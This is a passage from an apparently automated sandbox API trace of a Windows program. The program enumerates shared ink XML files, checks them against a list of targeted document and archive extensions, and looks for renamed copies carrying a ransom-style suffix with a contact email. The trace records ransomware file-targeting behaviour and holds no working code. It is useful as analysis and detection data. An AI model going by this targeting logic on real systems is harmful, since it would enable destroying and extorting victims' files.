lpFileSize=0x25aff14*=617) returned 1 [0091.853] CloseHandle (hObject=0x328) returned 1 [0091.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0091.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.854] lstrlenW (lpString=".doc") returned 4 [0091.854] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString=".docx") returned 5 [0091.854] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0091.854] lstrlenW (lpString=".pdf") returned 4 [0091.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString=".xls") returned 4 [0091.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString=".xlsx") returned 5 [0091.854] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0091.854] lstrlenW (lpString=".ppt") returned 4 [0091.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.854] lstrlenW (lpString=".zip") returned 4 [0091.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.854] lstrlenW (lpString=".rar") returned 4 [0091.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString=".bz2") returned 4 [0091.854] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.854] lstrlenW (lpString=".7z") returned 3 [0091.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString=".dbf") returned 4 [0091.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString=".1cd") returned 4 [0091.855] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString=".jpg") returned 4 [0091.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString=".doc") returned 4 [0091.855] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString=".docx") returned 5 [0091.855] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0091.855] lstrlenW (lpString=".pdf") returned 4 [0091.855] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString=".xls") returned 4 [0091.855] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString=".xlsx") returned 5 [0091.855] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0091.855] lstrlenW (lpString=".ppt") returned 4 [0091.855] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.855] lstrlenW (lpString=".zip") returned 4 [0091.855] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.855] lstrlenW (lpString=".rar") returned 4 [0091.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.856] lstrlenW (lpString=".bz2") returned 4 [0091.856] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.856] lstrlenW (lpString=".7z") returned 3 [0091.856] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.856] lstrlenW (lpString=".dbf") returned 4 [0091.856] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.856] lstrlenW (lpString=".1cd") returned 4 [0091.856] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0091.856] lstrlenW (lpString=".jpg") returned 4 [0091.856] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.856] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.856] lstrlenW (lpString="ja-jp.xml") returned 9 [0091.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.856] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=16616) returned 1 [0091.856] CloseHandle (hObject=0x328) returned 1 [0091.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0091.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0091.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0091.857] lstrlenW (lpString=".doc") returned 4 [0091.857] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.857] lstrlenW (lpString=".docx") returned 5 [0091.857] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0091.857] lstrlenW (lpString=".pdf") returned 4 [0091.857] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.857] lstrlenW (lpString=".xls") returned 4 [0091.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.857] lstrlenW (lpString=".xlsx") returned 5 [0091.857] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0091.857] lstrlenW (lpString=".ppt") returned 4 [0091.857] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0091.857] lstrlenW (lpString=".zip") returned 4 [0091.857] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.857] lstrlenW (lpString=".rar") returned 4 [0091.857] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.857] lstrlenW (lpString=".bz2") returned 4 [0091.857] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.858] lstrlenW (lpString=".7z") returned 3 [0091.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0091.858] lstrlenW (lpString=".dbf") returned 4 [0091.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.858] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.858] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=15097) returned 1 [0091.858] CloseHandle (hObject=0x328) returned 1 [0091.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0091.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.859] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.860] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9803) returned 1 [0091.860] CloseHandle (hObject=0x328) returned 1 [0091.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0091.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.861] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.861] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=11067) returned 1 [0091.861] CloseHandle (hObject=0x328) returned 1 [0091.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0091.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.861] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.862] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=10947) returned 1 [0091.862] CloseHandle (hObject=0x328) returned 1 [0091.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0091.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.863] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.863] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=44506) returned 1 [0091.863] CloseHandle (hObject=0x328) returned 1 [0091.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0091.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.864] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.864] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=737) returned 1 [0091.864] CloseHandle (hObject=0x328) returned 1 [0091.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0091.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.865] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.865] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=221) returned 1 [0091.865] CloseHandle (hObject=0x328) returned 1 [0091.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0091.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.866] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.867] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=471) returned 1 [0091.867] CloseHandle (hObject=0x328) returned 1 [0091.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0091.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.867] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.868] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=215) returned 1 [0091.868] CloseHandle (hObject=0x328) returned 1 [0091.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0091.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.868] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.869] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1069) returned 1 [0091.869] CloseHandle (hObject=0x328) returned 1 [0091.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0091.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.869] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.869] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=213) returned 1 [0091.869] CloseHandle (hObject=0x328) returned 1 [0091.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0091.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.870] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.672] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1853) returned 1 [0092.672] CloseHandle (hObject=0x35c) returned 1 [0092.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft 